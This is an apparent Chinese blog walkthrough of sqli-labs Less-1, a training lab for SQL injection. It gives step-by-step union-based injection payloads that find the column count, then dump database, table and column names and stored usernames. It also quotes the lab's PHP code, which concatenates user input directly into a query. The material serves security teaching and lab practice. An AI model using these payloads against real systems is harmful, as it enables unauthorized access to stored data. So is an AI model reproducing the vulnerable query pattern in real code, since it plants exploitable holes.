判断注入类型
GET1 and 1=2仍有正常回显,说明该漏洞类型不是数字型注入。
GET1' and '1'='2没有回显,说明该漏洞类型为字符型注入。
判断注入点个数
GETid=1' order by 4 --+ 回显Unknown
GETid=1' order by 3 --+ 回显如下:
说明注入点个数为3个
即可构造语句如下
-1' union select 1,2,xx form xx; --+
查库名
-1' union select 1,2,database(); --+
查表名
Payload1:
-1' union select 1,2,table_name from information_schema.tables where table_schema='库名'; --+
1
实例如下:
-1' union select 1,2,table_name from information_schema.tables where table_schema='security'; --+
仅回显一个表名
Payload2:
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+
1
回显所有表名
区别成因
查看部分源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } }
由以上可知,后端通过mysql_fetch_array()获取当前行数据,而注入语句返回的结果又是以行排序的,所以仅返回了位于首行的email表名
Group_concat
group_concat函数能将查询结果集合起来,在Payload2中,由于该函数集合了所有的表名到一行中,导致所有表名被回显。
查users表的列名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'; --+
实例如下:
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+
查字段
-1' union select 1,2,group_concat(列名) from 库名.表名; --+
实例如下:
-1' union select 1,2,group_concat(username) from security.users; --+
总结
以上为[网络安全]sqli-labs Less-1 解题详析,后续将分享[网络安全]sqli-labs Less-2 解题详析
原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析
我是秋说,我们下次见。